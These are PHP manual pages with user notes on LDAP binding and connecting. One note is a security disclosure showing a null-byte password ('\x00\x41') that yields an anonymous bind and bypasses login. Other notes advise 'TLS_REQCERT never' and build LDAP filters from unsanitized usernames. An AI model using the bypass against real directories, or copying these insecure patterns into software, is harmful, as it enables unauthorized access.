define(LDAP_OPT_DIAGNOSTIC_MESSAGE, 0x0032)

$handle = ldap_connect('ldap://active.directory.server/');
$bind = ldap_bind($handle, 'user', 'expiredpass');

if ($bind) {
    if (ldap_get_option($handle, LDAP_OPT_DIAGNOSTIC_MESSAGE, $extended_error)) {
        echo "Error Binding to LDAP: $extended_error";
    } else {
        echo "Error Binding to LDAP: No additional information is available.";
    }
}
?>

Or something to that effect..

It took me a while to work this one out, so i figured i'd share my results..
elsint at yahoo dot com 16-Dec-2010 02:00
If you are still having trouble after following all the instructions on the Web to get LDAPS to work, here's what worked for me:

I was trying to do LDAPS connection (our LDAP server was using port 40636) by running following command:

ldap_connect("www.example.com",40636)

This didn't work for days till I changed it to the following format:

ldap_connect("ldaps://www.example.com:40636")

Hope it'll help some out there.

-Cagdas
magnetik at magnetik dot org 26-Oct-2010 12:27
Due to a bug in PHP 5.3 you may have to place the ldap.conf in the root of all your drives (I had to place it on D:).

See http://bugs.php.net/bug.php?id=48866
[nie ten]archie 10-Jun-2010 04:48
I'm using OpenLDAP on linux and found out the right bind sequence the hard way... so I'm sharing it with you:

(wkaiser solution is ok if everything works fine, but for development I would suggest using ldap_error command like this)

<?php
$ldapconfig['host'] = '10.10.10.10';
$ldapconfig['port'] = NULL;
$ldapconfig['basedn'] = 'dc=company,dc=com';

$ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']);

$dn="uid=".$username.",ou=people,".$ldapconfig['basedn'];

if ($bind=ldap_bind($ds, $dn, $password)) {
  echo("Login correct");
} else {

  echo("Unable to bind to server.</br>");

  echo("msg:'".ldap_error($ds)."'</br>");#check if the message isn't: Can't contact LDAP server :)
  #if it say something about a cn or user then you are trying with the wrong $dn pattern i found this by looking at OpenLDAP source code :)
  #we can figure out the right pattern by searching the user tree
  #remember to turn on the anonymous search on the ldap server
  if ($bind=ldap_bind($ds)) {

    $filter = "(cn=*)";

    if (!($search=@ldap_search($ds, $ldapconfig['basedn'], $filter))) {
      echo("Unable to search ldap server<br>");
      echo("msg:'".ldap_error($ds)."'</br>");#check the message again
    } else {
      $number_returned = ldap_count_entries($ds,$search);
      $info = ldap_get_entries($ds, $search);
      echo "The number of entries returned is ". $number_returned."<p>";
      for ($i=0; $i<$info["count"]; $i++) {

        var_dump($info[$i]);#look for your user account in this pile of junk and apply the whole pattern where you build $dn to match exactly the ldap tree entry
      }
    }
  } else {
    echo("Unable to bind anonymously<br>");
    echo("msg:".ldap_error($ds)."<br>");
  }
}
?>

as you can see most of the examples use "cn=username" and OpenLDAP uses "uid=username" but who knows what will be used in the future builds, this code will help you check it out (I hope :)
spam[AT]it-blog[DOT]net 04-Sep-2009 07:18
When using LDAP with SSL and a LDAP server which uses a self-signed SSL certificate normally no connection will be established. Therefor you have to allow such connections explicitly.
With Linux (e.g. Debian, Ubuntu) you have to add "TLS_REQCERT never" to your /etc/ldap/ldap.conf. On other distributions this config file may be located somewhere else.
taomanjay at _DIESPAM_gmail dot com 09-Feb-2009 02:36
Just a quick and easy function to authenticate against an AD domain controller:

<?php
function ad_auth( $server, $username, $password ){
        $ldap = @ldap_connect( $server );

        if ( @ldap_bind( $ldap, $username, $password ) ){
                ldap_unbind( $ldap );
                return 1;
                }
        else{
                return 0;
                }
        }
?>
juan[dot]pineda[at]resultstel.com 07-Jan-2009 08:27
Active Directory doesn't accept anonymous requests anymore.

With Windows Server 2003, only authenticated users may initiate an LDAP request against Windows Server 2003-based domain controllers. You can override this new default behavior by changing the seventh character of the dsHeuristics attribute on the DN path as follows:
CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,Root domain in forest

from: http://support.microsoft.com/kb/326690
james at NOSPAM dot revillini dot com 27-Oct-2008 06:55
I couldn't get ldap_bind to work on an ldaps connection until I followed some instructions about creating an ldap.conf file.  I don't see these instructions anywhere on the php site.  Maybe they're on the OpenLDAP site, but I thought it would be useful to have here as well.  Credit goes to a dude known as 'LRM', and I found my solution here: http://lists.horde.org/archives/sork/Week-of-Mon-20040503/001578.html

My setup is XAMPP on Win XP.
###### ApacheFriends XAMPP (basic package) version 1.6.3a ######

  + Apache 2.2.4
  + MySQL 5.0.45
  + PHP 5.2.3 + PHP 4.4.7 + PEAR
  + PHP-Switch win32 1.0 (please use the "php-switch.bat")
  + XAMPP Control Version 2.5 from www.nat32.com
  + XAMPP Security 1.0
  + SQLite 2.8.15
  + OpenSSL 0.9.8e
  + phpMyAdmin 2.10.3
  + ADOdb 4.95
  + Mercury Mail Transport System v4.01b
  + FileZilla FTP Server 0.9.23
  + Webalizer 2.01-10
  + Zend Optimizer 3.3.0
  + eAccelerator 0.9.5.1 for PHP 5.2.3  (comment out in the php.ini)

1. create C:\OpenLDAP\sysconf\ldap.conf (Yes, it MUST be this path because it's hard-coded in the dll)
2. put this line at the top:

TLS_REQCERT never

3. Save, stop/start apache.

The reason is, I think, because it doesn't understand the certificate, so this directive tells it to not bother checking it.  I guess that could be unsafe in some cases, but in my case I'm confident with the server I'm connecting to.

My connection code was as follows (nothing new here, I don't think):

<?php
$con = @ldap_connect('ldaps://the.ldap.server', 636);
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($con, LDAP_OPT_REFERRALS, 0);
var_dump(@ldap_bind($con, 'user@sub.domain.com', 'password'));
?>

Good luck!  LDAPS can be a real bitch.
Devia dot Fan at gmail dot com 23-Jun-2008 10:12
Hi All, I just thought people should realize that the bug, or whatever change that was implemented with slapd and Openldap for the version V3 protocol has either not been repaired, or isn;t believed to be a bug or whatever...but still requires an implicit setting to V3 for use of the ldap_bind function. I am using Apache 2 and PHP 5.1 with LDAP 2. The default is set to deny V2 protocol, and even reconfiguring the slapd config file will not fix the problem.

You must still use the ldap_set_option function.

EX:

<?php
    $ldapHost = "ldap://server";
        $ldapPort = "port";
    $ldapUser ="cn=name,dc=domain";
    $ldapPswd ="password";

$ldapLink =ldap_connect($ldapHost, $ldapPort)
    or die("Can't establish LDAP connection");

if (ldap_set_option($ldapLink,LDAP_OPT_PROTOCOL_VERSION,3))
{
    echo "Using LDAP v3";
}else{
    echo "Failed to set version to protocol 3";
}

ldap_bind($ldapLink,$ldapUser,$ldapPswd)
    or die("Can't bind to server.");

?>

Thanks to Ken on below for showing the way. There was a slight code error in what he chose as his link_id, but thats all. This code above worked nice and shinny, and demonstrates we are still working with 2004 problems. I wish they would update this in the code above.
Josh A. 20-Jul-2007 07:29
The OpenLDAP libraries will return error 53 (Server unwilling to perform) when trying to re-bind to a non-anonymous account if you accidentally leave the password field blank. If you want to authenticate against a different field than the dn, you have to bind to the server twice. Your code may look like the following:

<?
function ldapLogin($uname, $pass, $base_dn, $fname, $server, $port){
    $ldc=@ldap_connect($server, $port);
    if (!$ldc) return ERROR_CODE;

    $bn='cn=anonymous-user,'.$base_dn;
    $pw='anonymous-pass';
    $lbind=@ldap_bind($ldc, $bn, $pw);
    if (!$lbind) return ERROR_CODE;

    $ureturn=@ldap_search($ldc, $base_dn, "($fname=$uname)", array('dn', 'givenName', 'sn', 'mail'));

    $uent=@ldap_first_entry($ldc, $ureturn);
    if (!$uent) return ERROR_CODE;

    $bn=@ldap_get_dn($ldc, $uent);

    //This line should use $pass rather than $password
    $lbind=@ldap_bind($ldc, $bn, $password);
    // Now you can find the error
    echo ldap_error($ltc);

    if ($lbind) return true; else return false;
?>

Hope this helps someone else running in to the same error.
Teemu 29-Mar-2007 12:44
Example of connecting and searching AD

$con = ldap_connect('ad.domain.com');
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($con, LDAP_OPT_REFERRALS, 0);
ldap_bind($con, 'user@DOMAIN.COM', 'clear password');

ldap_search($con, 'DC=domain,DC=com', '(uniqueMember=user)');
alex dot everett at okstate dot edu 07-Mar-2007 12:19
A number of examples and implementations of authentication schemes which use LDAP simple binds to authenticate users fail to properly sanitize user-submitted data. This can allow for an anonymous user to authenticate to a web-based application as an existing user. Provided below is a brief description and example of how this vulnerability can arise. For more detailed information please visit the links at the bottom of this posting.

The bind operation of LDAP, as described in RFC 4513, provides a method which allows for authentication of users. For the Simple Authentication Method a user may use the anonymous authentication mechanism, the unauthenticated authentication mechanism, or the name/password authentication mechanism. The unauthenticated authentication mechanism is used when a client who desires to establish an anonymous authorization state passes a non-zero length distinguished name and a zero length password. Most LDAP servers either can be configured to allow this mechanism or allow it by default. Web-based applications which perform the simple bind operation with the client's credentials are at risk when an anonymous authorization state is established. This can occur when the web-based application passes a distinguished name and a zero length password to the LDAP server.
This is commonly encountered when no password is provided from the client to the web-based application. This situation is described in some of the postings found below. For this situation, the recommendations found in other postings is sufficient to prevent authentication bypass.
However, no prior postings at php.net describe a situation in which a client may pass a distinguished username and a password of non-zero length to the web-based application which results in an anonymous authorization state. Below is an example of this situation.

$dn="testuser";
$pass="\x00\x41";
if (empty($dn) or empty($pass)) { exit(); } //check for empty strings
//if (preg_match('/[^a-zA-Z]/',$dn) or preg_match('/[^a-zA-Z0-9\x20!@#$%^&*()]/',$pass)) { exit(); } //check for expected values (whitelisting)
//if (preg_match('/\x00/',$dn) or preg_match('/\x00/',$pass)) { exit(); } //check for null byte (blacklisting)
$ldapconn=ldap_connect("192.0.2.2") or die("Could not connect to LDAP server.");
if ($ldapconn) {
        ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);
        $ldapbind=ldap_bind($ldapconn, $dn, $pass);
        if ($ldapbind) {
                echo("success");
        } else {
                echo("fail");
                }
        }

References:
http://security.okstate.edu
john dot hargrove at sellingsource dot com 01-Feb-2007 03:09
Note that you have to specify the protocol version prior to making a call to ldap_bind, when the server is expecting LDAP protocol version 3.  If you do not, you will receive a warning and fail to bind, such as:

ldap_bind(): Unable to bind to server: Protocol error

In order to avoid this, make this call:

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
?>

Where $ds is the result returned by ldap_connect(...);
david dot marsh at hartfordlife dot com 08-Aug-2006 12:49
had to do a bunch of research on this, but it does work, once config'd correctly.

using Apache/2.2.3 (Win32) mod_ssl/2.2.3 OpenSSL/0.9.8b
PHP PHP Version 5.1.5-dev

ldap_bind was getting "81 Can't contact LDAP server" which was really annoying, since the connection worked fine without "ldaps"
using:

$ldapconnect = @ldap_connect( $connection_string );

well, actually the bind was really the one failing...

$bind = ldap_bind($ldapconnect, $client, $this->objSecurityLogin->Password);

many attempts to determine until i smartened up and turned on the trace level:

ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

which must go before the connect!

found that on windows, you can't specifiy a quote in the ldap.conf:
i had:
TLS_REQCERT never
TLS_CACERT "C:\\Documents\\Tools\\Apache2\\conf\\ssl\\ad.pem"
which throws the error..
TLS: could not load verify locations (file:`"C:\Documents\Tools\Apache2\conf\ssl\ad.pem"',dir:`').
TLS: error:0200107B:system library:fopen:Unknown error .\crypto\bio\bss_file.c:122
TLS: error:2006D002:BIO routines:BIO_new_file:system lib .\crypto\bio\bss_file.c:127
TLS: error:0B084002:x509 certificate routines:X509_load_cert_crl_file:system lib .\crypto\x509\by_file.c:274
ldap_err2string

changed to:
TLS_REQCERT never
TLS_CACERT C:\\Documents\\Tools\\Apache2\\conf\\ssl\\ad.pem
which cleans it up as:
TLS trace: SSL_connect:before/connect initialization
TLS trace: SSL_connect:SSLv2/v3 write client hello A
TLS trace: SSL_connect:SSLv3 read server hello A
TLS certificate verification: depth: 1, err: 0, subject: /DC=xxx/DC=yyy/CN=zzzz, issuer: /DC=abab/DC=yyy/CN=zzzz
TLS certificate verification: depth: 0, err: 0, subject: ......

so the moral to the story is even though PHP wants quotes in some windows config parms, it won't work if its in ldap.conf!
romerom at cox dot net 12-Jul-2006 02:43
I ran into an issue trying to bind as "cn=manager,dc=example,dc=com".  I took the example kenn posted where he set LDAP_OPT_PROTOCOL_VERSION to "3" for the connection.  Once I set this, I was able to bind with my manager id.
dedlfix 03-May-2006 12:36
It doesn't make much sense to let die() the script in case of an error, otherwise to ask if there were no errors before proceeding the script, as the official examples do.

better:

<?php
ldap_bind(...) or die(...);
do_something();
?>

or even better (die() is quick but dirty)

<?php
if (!ldap_bind(...)) {
  error();
} else {
  do_something();
}
?>
baroque at citromail dot hu 05-Nov-2005 01:18
This code sample shows how to connect and bind to eDirectory in PHP using LDAP for Netware.

<?php

$server='137.65.138.159';
$admin='cn=admin,o=novell';
$passwd='novell';

$ds=ldap_connect($server);  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $r=ldap_bind($ds, $admin, $passwd);
    if(!$r) die("ldap_bind failed<br>");

    echo "ldap_bind success";
    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>
17-Oct-2005 11:47
When using Active Directory 2003 (possibly also 2000) you can't search anonymously so you have to bind with a (known) user and password. Or else you will get an Search operations error. I also can confirm that an empty password bind succeeds! So test for an empty password first!

Some excellent information is found here:
http://www.scit.wlv.ac.uk/~jphb/sst/php/extra/ldap.html
http://www.scit.wlv.ac.uk/~jphb/sst/basics/ldap.html
darkstar_ae at hotmail dot com 15-Sep-2005 12:03
This may be a security issue but after tinkering for hours with the below ldap auth function (edi01 at gmx dot at), I discovered that the ldap_bind function will return true if you enter a valid username AND a NULL value!

so if that function were to receive something like $username = 'someuser' and $password = '', it would return true. As long as it isn't a null value the function will work as expected. Might as well check if it is null or empty then.
get_your_gun at hotmail dot com 23-Aug-2005 11:33
Hey

I was trying this all day and final noticed that when you use bind and authenticate. The user name needs to be as follows for it to work. I am using PHP V 4.03 so this might be different now but here is what I used and the auth worked.

<?php
$ldaphost = "ldap.what.at.greatnet.com";
$ldapport = 389;

$ds = ldap_connect($ldaphost, $ldapport)
or die("Could not connect to $ldaphost");

if ($ds)
{
    $username = "johndoe@what.at.greatnet.com";
    $upasswd = "pass";

    $ldapbind = ldap_bind($ds, $username, $upasswd);

    if ($ldapbind)
        {print "Congratulations! $username is authenticated.";}
    else
        {print "Nice try, kid. Better luck next time!";}
}

?>
edi01 at gmx dot at 05-Apr-2005 01:31
complete ldap authentication script:

function checkldapuser($username,$password,$ldap_server){
  if($connect=@ldap_connect($ldap_server)){ // if connected to ldap server

    if (ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3)) {
      echo "version 3<br>\n";
    } else {
      echo "version 2<br>\n";
    }
    echo "verification on '$ldap_server': ";

    // bind to ldap connection
    if(($bind=@ldap_bind($connect)) == false){
      print "bind:__FAILED__<br>\n";
      return false;
    }

    // search for user
    if (($res_id = ldap_search( $connect,
                                "dc=auto,dc=tuwien,dc=ac,dc=at",
                                "uid=$username")) == false) {
      print "failure: search in LDAP-tree failed<br>";
      return false;
    }

    if (ldap_count_entries($connect, $res_id) != 1) {
      print "failure: username $username found more than once<br>\n";
      return false;
    }

    if (( $entry_id = ldap_first_entry($connect, $res_id))== false) {
      print "failur: entry of searchresult couln't be fetched<br>\n";
      return false;
    }

    if (( $user_dn = ldap_get_dn($connect, $entry_id)) == false) {
      print "failure: user-dn coulnd't be fetched<br>\n";
      return false;
    }

    /* Authentifizierung des User */
    if (($link_id = ldap_bind($connect, $user_dn, $password)) == false) {
      print "failure: username, password didn't match: $user_dn<br>\n";
      return false;
    }

    return true;
    @ldap_close($connect);
  } else {                                  // no conection to ldap server
    echo "no connection to '$ldap_server'<br>\n";
  }

  echo "failed: ".ldap_error($connect)."<BR>\n";

  @ldap_close($connect);
  return(false);

}//end function checkldapuser

Here a sample for using this function:

if (checkldapuser('myuser', 'secretpassword', 'ldap://link.to.ldap')) {
  echo "ACCESS GRANTED\n";
} else {
  echo "ACCESS DENIED\n";
}
owen at delong dot com 24-Feb-2005 04:04
I am assuming that ldap_bind does a simple bind and that for other
types of bind, ldap_sasl_bind should be used.

Also, while the allow bind v2 solution will work with slapd, you really should
use ldap v3 if at all possible because of the security improvements and
better protocol definition.  LDAP v2 is largely deprecated at this point.

Hopefully the PHP default LDAP version will move to v3 soon.
phredbroughton at yahoo dot com 16-Feb-2005 11:27
As noted before with the password, I have found that if either  of the valuse for user or password are blank, or as in my case a typo resulted in a blank user as it was an undefined variable, the ldap_bind() will just perform an anonymous bind and return true!
Shouldn't this detect the presence of the additional values and return an error? At least if the user or password is passed. If they are both blank I'm not sure what it should do.
wkaiser at mpimf-heidelberg dot mpg dot de 24-Nov-2004 11:40
If you do not want to bind as unixadmin or *manager (i. e., for authentication on web applications), the following code could be useful:
<?php

$ldaphost = "ldap.yourdomain.com";

/*for a SSL secured ldap_connect()

$ldaphost = "ldap.yourdomain.com"; */

$ldapport = 389;

$ds = ldap_connect($ldaphost, $ldapport)
or die("Could not connect to $ldaphost");

if ($ds) {

$username = "some_user";
$upasswd = "secret";
$binddn = "uid=$username,ou=people,dc=yourdomain,dc=com";

$ldapbind = ldap_bind($ds, $binddn, $upasswd);

if ($ldapbind) {

print "Congratulations! $some_user is authenticated.";}

else {

print "Nice try, kid. Better luck next time!";}}

?>
jakob at grimstveit dot no 19-Oct-2004 08:33
As "john dot lewis at waldenweb dot com" correctly writes (and this is important to note and SHOULD be incorporated into the documentation as a warning - trying to bind with specific username and empty password will return TRUE.
kenn at pcintelligent dot com 13-Jun-2004 11:32
I want to point out that the line that reads

"$ldaprdn  = 'uname';"

is a bit confusing. You need to ensure that you use the entire rootdn. for instance. your code should look more like this...

<?php

// using ldap bind *** NOTE the uname *****
$ldaprdn  = 'cn=root,dc=testserver,dc=com';    // ldap rdn or dn
$ldappass = 'secret';  // associated password

// connect to ldap server
$ldapconn = ldap_connect("ldap.testserver.com")
   or die("Could not connect to LDAP server.");

if (ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
   echo "Using LDAPv3";
} else {
   echo "Failed to set protocol version to 3";
}

if ($ldapconn) {

   // binding to ldap server
   $ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

   // verify binding
   if ($ldapbind) {
       echo "LDAP bind successful...";
   } else {
       echo "LDAP bind failed...";
   }

}

?>
pete dot rowley at example dot com 31-Dec-2003 08:51
You should NOT attempt to bind with a made up password.  However small the chance, the chance remains that your code produces a valid password.  The correct behaviour is to test for an empty password, and if your application will only service authenticated users, not perform any more LDAP operations on behalf of the user - this also happens to be more efficient.
kokheng at jhs dot com dot sg 21-Nov-2002 01:01
OpenLdap 2.1.x libraries support both LDAPv2 and LDAPv3. The problem lies with the slapd, the ldap server bundled with OpenLDAP.  It's default supported version is LDAPv3. One can set the "allow bind_v2" in the slapd.conf file, with this configured, the PHP ldap_set_option() is not required.
elvisciousatrmci.net 27-Sep-2002 11:08
I ran into a problem where I was getting a protocol error when I tried to bind.  I was able to connect fine and ldap commands worked fine from the command line.

The problem turned out to be that openldap (v 2.1.5) was starting up in version 3 ldap mode, and php (4.2.3) expected it to be in version 2 mode.

To fix this use the ldap_set_option command to change the version that php expects.


别名 ldap_unbind

  • ? ldap_bind
  • ldap_compare ?
  • PHP Manual
  • LDAP 函数
  • 别名 ldap_unbind

ldap_close

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_close — 别名 ldap_unbind()

说明

此函数是该函数的别名： ldap_unbind().

User Contributed Notes

20-Jul-2001 11:15
<?php
$ds=ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {
    $r=ldap_bind($ds,"cn=root, o=My Company, c=US", "secret");
    $info["cn"]="Roberto Celestino";
    $info["sn"]="Roberto";
    $info["mail"]="rcelestino@here.and.now";
    $info["objectclass"]="person";

    // add data to directory
    $r=ldap_add($ds, "cn=Celestino Roberto, o=Mi Compania, c=US", $info);
    //Close the link apointed by the identified $ds (get with ldap_connect)
    ldap_close($ds);

}
?>


Compare value of attribute found in entry specified with DN

  • ? ldap_close
  • ldap_connect_wallet ?
  • PHP Manual
  • LDAP 函数
  • Compare value of attribute found in entry specified with DN

ldap_compare

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

ldap_compare — Compare value of attribute found in entry specified with DN

说明

ldap_compare(
LDAP\Connection $ldap,
string $dn,
string $attribute,
string $value,
?array $controls = null
): bool|int

Compare value of attribute with value of same attribute in an LDAP directory entry.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

dn

The distinguished name of an LDAP entity.

attribute

The attribute name.

value

The compared value.

controls

Array of LDAP Controls to send with the request.

返回值

Returns true if value matches otherwise returns false. Returns -1 on error.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

示例

The following example demonstrates how to check whether or not given password matches the one defined in DN specified entry.

Example #1 Complete example of password check

<?php

$ds=ldap_connect("localhost"); // assuming the LDAP server is on this host

if ($ds) {

// bind
if (ldap_bind($ds)) {

// prepare data
$dn = "cn=Matti Meikku, ou=My Unit, o=My Company, c=FI";
$value = "secretpassword";
$attr = "password";

// compare value
$r=ldap_compare($ds, $dn, $attr, $value);

if ($r === -1) {
echo "Error: " . ldap_error($ds);
} elseif ($r === true) {
echo "Password correct.";
} elseif ($r === false) {
echo "Wrong guess! Password incorrect.";
}

} else {
echo "Unable to bind to LDAP server.";
}

ldap_close($ds);

} else {
echo "Unable to connect to LDAP server.";
}
?>

注释

Warning

ldap_compare() can NOT be used to compare BINARY values!

User Contributed Notes

oudejans at zeelandnet dot nl 11-Apr-2005 05:10
With PHP 4.3.* is Password no longer a valid attribute.. try to use userPassword
chuck+ldap at 2006 dot snew dot com 05-Aug-2004 10:08
Just a side note that this is not how you'd ever AUTHENTICATE someone, just an example code.

The common way to authenticate is to get the users name, use search and perhaps selection to the user to get her DN (single value) then attempt to BIND to the ldapserver using that dn and the offered password.  If it works, then it's the right password.

Note that the password offered MUST NOT BE EMPTY or many LDAPs will presume you meant to authenticate anonymously and it will succeed, leaving you thinking it's the right password.
Brian Kerhin &lt;kerhin at bigfoot dot com&gt; 31-Jan-2001 06:13
Not probably, will.  With PHP 4.0.4 and openldap 1.2.9 this little script, even with the correct attributes for the password does not do the job.  Would superb if it did!
334647 at swin dot edu dot au 25-Oct-2000 07:06
Interesting example. Apart from the fact that very few people would allow comaprisions of the password attribute for security reasons. The attribute name of "password" does not match the usual schemas.

The usual method of user id + password verification is to attempt to bind using the supplied credentials.

Ldap compare on password values will probably fail with ns directroy server and openldap v2+ becuase of server support for password hashing.


Connect to an LDAP server

  • ? ldap_compare
  • ldap_connect ?
  • PHP Manual
  • LDAP 函数
  • Connect to an LDAP server

ldap_connect_wallet

(PHP 8 >= 8.3.0)

ldap_connect_wallet — Connect to an LDAP server

说明

ldap_connect_wallet(
?string $uri = null,
string $wallet,
string $password,
int $auth_mode = GSLC_SSL_NO_AUTH
): LDAP\Connection|false

Warning

本函数还未编写文档，仅有参数列表。

参数

uri

wallet

password

auth_mode

返回值

参见

  • ldap_connect() - Connect to an LDAP server

User Contributed Notes

There are no user contributed notes for this page.


Connect to an LDAP server

  • ? ldap_connect_wallet
  • ldap_control_paged_result_response ?
  • PHP Manual
  • LDAP 函数
  • Connect to an LDAP server

ldap_connect

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_connect — Connect to an LDAP server

说明

ldap_connect(?string $uri = null): LDAP\Connection|false
Warning

As of PHP 8.3.0, the following signature is deprecated.

ldap_connect(?string $host = null, int $port = 389): LDAP\Connection|false

Creates an LDAP\Connection connection and checks whether the given uri is plausible.

Note: This function does not open a connection. It checks whether the given parameters are plausible and can be used to open a connection as soon as one is needed.

参数

uri

A full LDAP URI of the form ldap://hostname:port or ldaps://hostname:port for SSL encryption.

You can also provide multiple LDAP-URIs separated by a space as one string

Note that hostname:port is not a supported LDAP URI as the schema is missing.

host

The hostname to connect to.

port

The port to connect to.

返回值

Returns an LDAP\Connection instance when the provided LDAP URI seems plausible. It's a syntactic check of the provided parameter but the server(s) will not be contacted! If the syntactic check fails it returns false. ldap_connect() will otherwise return a LDAP\Connection instance as it does not actually connect but just initializes the connecting parameters. The actual connect happens with the next calls to ldap_* functions, usually with ldap_bind().

If no argument is specified then the LDAP\Connection instance of the already opened connection will be returned.

更新日志

版本 | 说明
8.3.0 | Calling ldap_connect() with separate hostname and port is now deprecated.
8.1.0 | Returns an LDAP\Connection instance now; previously, a resource was returned.

示例

Example #1 Example of connecting to LDAP server.

<?php

// LDAP variables
$ldapuri = "ldap://ldap.example.com:389"; // your ldap-uri

// Connecting to LDAP
$ldapconn = ldap_connect($ldapuri)
or die("That LDAP-URI was not parseable");

?>

Example #2 Example of connecting securely to LDAP server.

<?php

// make sure your host is the correct one
// that you issued your secure certificate to
$ldaphost = "ldaps://ldap.example.com/";

// Connecting to LDAP
$ldapconn = ldap_connect($ldaphost)
or die("That LDAP-URI was not parseable");

?>

参见

  • ldap_bind() - 绑定 LDAP 目录

User Contributed Notes

nateshull at gmail dot com 03-Mar-2020 07:26
Implementing LDAPS on a WISP stack - Win, IIS, SQL, PHP
PHP 7.0.19:

Had some issues with some of the instructions and I needed LDAPS for an upcoming Active Directory update that removes insecure LDAP connections.

Enable modules for ldap and openssl in php.ini

Also ensure the extensions are in the ext folder

Verify the modules are loaded: phpinfo()

Notes:
The ldap or openssl config file is not needed if the environment variables are set in the code. Also the ca path does not like double quotations around the path.

*** code sample:

 <?php
$ldapuser = "domain\\user";
$ldappass = "Passsword";
$ldapserver = "ldaps://server.domain.com";

//options are require, never, allow
//require is most secure, the others could allow for man in the middle attacks
putenv('LDAPTLS_REQCERT=require');

//tell ldap where the root ca certificate is
//note that the space is allowed in the path without escape or quotes
//I have not tested the permissions, but I would assume the service should have read.
putenv('LDAPTLS_CACERT=C:\\Program Files\\php\\certs\\rootca.pem');

//test to ensure the certificate is able to be read and path is right.
echo file_get_contents("LDAPTLS_CACERT=C:\\Program Files\\php\\certs\\rootca.pem");

// Set debugging
ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

// connect to ldap server
$ldapconn = ldap_connect($ldapserver) or die ("Couldn't connect");

// binding to ldap server
$ldapbind = false;
$ldapbind = ldap_bind($ldapconn, $ldapuser, $ldappass);

//easy view of success or failure
if ($ldapbind) {
    print("\n logged in! \n\n");
} else {
    print("\n log on failure \n\n");
}
?>
titanrat at bk dot ru 28-Dec-2016 12:02
I found some difference between php7.0 and php5.5 on this function

Php5 ldap_connect ('host', 0) try to connect default port - host:389
Php7 ldap_connect ('host', 0) try to connect host:0 and crashes.
antoine dot php dot net at bonnefoy dot eu 23-Nov-2015 10:30
Hello,

Little corrections to nemanja  post.
- There was a warning if connection is denied by firewall (adding @ before fsockopen)
- fclose parameter was incorrect.

With this approach, you get a real nice failover functionality, take for an example a company with a dozen of DC-a distributed along distant places, this way your PHP program will always have high availability if at least one DC is active at present.
<?php
function serviceping($_host, $_port = 389, $_timeout = 1) {
    $op = @fsockopen($_host, $_port, $errno, $errstr, $_timeout);
    if (!$op) {
        echo "KO!";
        return 0;

    } //DC is N/A
    else {
        fclose($op); //explicitly close open socket connection
        return 1; //DC is up & running, we can safely connect with ldap_connect
    }
}

function ldap_connect_failover($_domain) {
// ##### STATIC DC LIST, if your DNS round robin is not setup
//$dclist = array('10.111.222.111', '10.111.222.100', '10.111.222.200');
// ##### DYNAMIC DC LIST, reverse DNS lookup sorted by round-robin result
    $dclist = gethostbynamel($_domain);

    foreach ($dclist as $dc) {
        if (serviceping($dc) == true) {
            break;
        } else {
            $dc = 0;
        }
    }
//after this loop, either there will be at least one DC which is available at present, or $dc would return bool false while the next line stops program from further execution

    if (!$dc) {
        return false;
    } //user being notified

    return ldap_connect($dc);
}
?>
Nixahnung 22-Jul-2015 03:13
I have spent a lot of time to make an LDAPS connection to a MS AD Global Catalog port 3269

My five Cents:

ldap_connect("ldaps://example.com", 3269)
=> Connection to 636.... :(, DC only

ldap_connect("ldaps://example.com:3269")
=> Connection to 3269.... :), GC as expected

May it helps...
lee at lareck70 dot net 08-Jul-2015 06:20
To use LDAPS on Windows whitout "c:\openldap\sysconf\ldap.conf":
Generate a file like ldap.conf, name it "ldaprc".
For PHP script running on command line put the file to the script.
For PHP script running on webserver put the file in home directory of PHP.
mwilmes at avc dot edu 18-May-2015 05:26
I support a LAMP stack with PHP-FPM on CentOS 7 that needs to connect to Active Directory over SSL.  We have a root certificate for the domain.  I was able to set this up in five steps.

1. Get the domain's root SSL certificate in base64. (Must be an Enterprise Administrator - talk with your admin if you are not one.)
Run mmc.exe
File -> Add/Remove Snap-in
Select Certification Authority, then the server that generates certificates for your domain.
Expand the tree until you find the entry for the root certificate, then right click->Properties.
Click the "View Certificate" button, The "Details" tab, then the "Copy to File..." button.
Use the wizard to export the root certificate to your computer. Ensure you use the Base-64 format.

2. Copy the root cert to the Linux server.  You can open the certificate in notepad and copy and paste the contents.

3. Convert the certificate to pem format.  Substitute the names of files as needed.
openssl x509 -in <copied certificate file> -out /etc/openldap/certs/<cert>.pem

4. Add a line in ldap.conf to use new root cert.
vi /etc/openldap/ldap.conf
TLS_CACERT      /etc/openldap/certs/<cert>.pem

5.Restart the PHP service.
systemctl restart php-fpm.service
harrison at glsan dot com 10-Mar-2015 06:07
To override the ssl ca file can be done by setting an environmental variable within php.

I found using saving the ca certificate (and intermediate ca's) to a file called ca.pem and then adding

putenv('LDAPTLS_CACERT=./ca.pem');

before ldap_connect works for me.
Code example:
<?php
putenv('LDAPTLS_CACERT=./ca.pem');
ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);
$l = ldap_connect("ldaps://ldap/");
ldap_set_option($l, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_bind($l, "cn=apache,dc=example", "xxxxxxx");
echo(ldap_error($l)."\n");
$s = ldap_search($l, "dc=example", "uid=test");
echo(ldap_count_entries($l, $s)."\n");
?>
